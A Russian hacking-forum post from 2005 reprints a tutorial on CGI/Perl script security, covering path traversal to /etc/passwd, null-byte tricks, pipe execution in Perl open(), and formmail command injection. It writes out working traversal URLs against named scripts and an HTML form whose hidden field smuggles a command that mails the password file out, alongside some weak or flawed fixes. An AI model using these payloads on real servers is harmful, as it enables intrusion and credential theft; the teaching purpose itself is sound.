Статьи Cgi, Php безопасность

Discussion in 'Статьи' started by foreva, 6 Feb 2005.

  1. foreva

    foreva HACKFORUM.RU

    Joined:
    5 Feb 2005
    Messages:
    48
    Likes Received:
    10
    Reputations:
    -2
    CGI, PHP безопасность
    Автор: XblP-GiN
    Источник: nsd.ru


    Общая цель CGI-скриптов - позволить посетителю получать доступ лишь к определенной части информции, находящейся у вас на сервере. Такое определение сразу должно навести вас на мысли о безопасности и предотвращения действий, направленных на получение вашей информации и некорректного вмешательства в работу вашей системы. Если вы будете достаточно беспечны и легкомысленны в этом вопросе, вы предоставите посетителям доступ к тем участкам сервера, которые предпочтительнее было бы скрыть от посторонних глаз. Хотя ни один web-узел нельзя считать на 100% защищенным, снизить уровень риска при применении CGI-программ довольно просто. Далее мы рассмотрим наиболее характерные уязвимости в скриптах и попробуем свести риск к минимуму.

    Наиболее часто встречающяяся уязвимость - это отсутсвие проверки посылаемых скрипту данных на метасимволы (такие, к примеру, как &;`'\"|*?~<>^()[]{}$), что приводит к выводу скриптом содержимого файла или самого файла, которое администратор сервера предпочел бы скрыть. Элементарным решением этой проблемы есть фильтрация вводимого набора символом, выглядящая на Perl следующим образом:

    $in =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"\n])/\\$1/g;

    По моему авторы скриптов забывают об этом или не хотят запоминать, т.к. самую элементарную проверку на символы "/" и ".." до сих пор не делают.

    Почему же так важна проверка на метасимволы ? Потому, что к примеру у вас есть скрипт view.pl ( www.your_host.com/cgi-bin/view.pl ) который показывает какой-то файл (подобный пример часто встречается в поисковых скриптах и в файлах различных web-форумов) т.е. www.your_host.com/cgi-bin/view.pl?site.htm покажет вам site.htm.

    Но если мы передадим скрипту запрос вида

    www.yor_host.com/cgi-bin/view.pl?../../../../etc/passwd

    То данная команда выведет нам в качестве результата файл с паролями *nix системы. Это происходит из-за того, то скрипт, получая данные ../../.. исполняет команду перехода по директориям. Получается, что он доходит то корня диска, оттуда переходит в директорию etc/ и показывает на файл passwd, расположенный там же.

    $file=s/\.\.//g; - вот такой маленький кусочек кода perl
    намного облегчит жизнь администратора.
    Вот лишь несколько скриптов, в которых встречается эта уязвимость:
    www.your_site.com/cgi-bin/htmlscript?../../../../etc/passwd
    www.your_site.com/cgi-bin/shopper.cgi?newpage=../../../etc/passwd
    www.your_site.com/cgi-bin/Web_Store/web_store.cgi?page=../../../etc/passwdext


    Наверное вы обратили внимание на последний пример. Наверное, у вас возник вопрос, а что такое за /etc/passwd%00ext. Это тоже один из примеров уязвимости cgi-скриптов. Но эта уязвимость не столько зависит от скрипта, сколько от операционной системы. Система неадекватно реагирует на символ 0.( не только именно на 0, но я привел лишь самый элементарный пример.

    К примеру, page.cgi?index.htm покажет вам документ. А page.cgi?index.htm%00 покажет вам исходный код документа.

    Самый простой вариант решения этой проблемы, это поставить фильтр на этот символ, на perl этот будет выглядеть примерно так :

    $insecure_data=~s/\0//g;

    Также в языке Perl, добавление символа "|" засталяет программу, которая должна открывать файл - запустить его.

    К примеру: open(FILE, "/bin/ls") - даст вам бинарный код, а если подставить "|"

    open(FILE, "/bin/ls|") - будет выполнена команда, в данном случае ls.

    s/(\|)/\\$1/g - такая вставка в Perl-код предотвратит это.

    ( Perl скажет - 'unexpected end of file').

    Также скрипты активно используются для создания многочисленных списков рассылок и тому подобных вещей, применяемых для побее тесного взаимодействия сайта и посетителя. Обычно данные скрипту передаются в виде html-формы.

    Злоумышленник может запросто сохранить исходный код html-формы, модифицировать его, а затем открыть страницу, уже модифицированую у себя в броузере. Хакер может изменить значения и имена полей, модифицировать или удалить скрытые поля ( Input type=hidden ), после чего предьявить форму целевой CGI-программе. Кроме того, ничто не помешает ему вызвать вашу программу прямо из коммандной строки браузеоа и передать в нее информацию в строке запроса.

    Типичный пример, алгоритм которого вы можете еще применить во многих других скриптах = это уязвимость в очень старом скрипте formmail 1.0

    Когда скрипт получает данные, он составляет письмо и, пользуясь полученными данными, дает примерно следующую команду:

    $ mail some_email $recipient

    Предположим, что в документе html, параметр recipient (hidden) содержит адрес [email protected] Тогда в итоге после выполнения всех команд он завершится посылкой письма по этому адресу командой

    httpd$ mail <информация> [email protected]

    Но нам ничего не мешает сохранить документ, немного подредактировать его, добавив свои команды ( к примеру

    ";cat /etc/passwd | mail [email protected]") и затем отправить данные скрипту. Тогда скрипт все внимательно обработает, составит письмо м выполнит команду httpd$ mail <информация> [email protected]; cat /etc/passwd | mail [email protected] Вот и пример формы, выполняющей вышеописанные действия:

    <form method="post"
    action="http://www.dead_server.com/cgi-bin/formmail.pl">

    <input type="hidden" name="recipient" value="[email protected]
    cat /etc/passwd | mail [email protected]">

    <input type="submit" name="submit" value="submit">
    </form>


    Один из самых простых способов установить, похищена ли форма - это проверить значение переменной среды HTTP_REFERER, модержащей URL, из которого была вызвана ваша программа. Затем это значение следует сравнить с тем, которое должно быть при вызове программы с допустимой страницы. Если вы, скажем, хотите, чтобы программа вызывалась только со страниц, URL которых начинаются с www.server.com/some_file/, то можете поставить в начало программы что-то вроде этого:

    if ($ENV{'HTTP_REFERER'} !=m#^http://www.server.com/some_file/#)
    {print "Content-Type: text/plain\n403 Forbidden\n\n";


    Но этот метод защиты годится только в том случае, если хакер не переопределил HTTP_REFERER. Когда форма предьявляется, ваша программа использует значение поля для построения пути к файлу (например, /home/hir/hack.htm), а затем выводит данный файл. Эта возиожность кажется довольно безобидной, пока хакер не изменит форму таким образом, что она будет содержать пункт со значением ../../../etc/passwd. Ваша программа сможет взять это значение, создать путь к этому файлу и вывести passwd в окно браузера.

    Этого можно избежать, указав в программе корневую директорию и сделать так, чтобы все пути к файлам начинались именно с этого имени каталога.

    if (file_path !~/^root_directory/) {print "Invalid file path\n"

    Вот пожалуй самые распространненые ошибки в CGI-программах и возможные методы исправления этих ошибок и повышение безопасности сервера. (c) UkR-XblP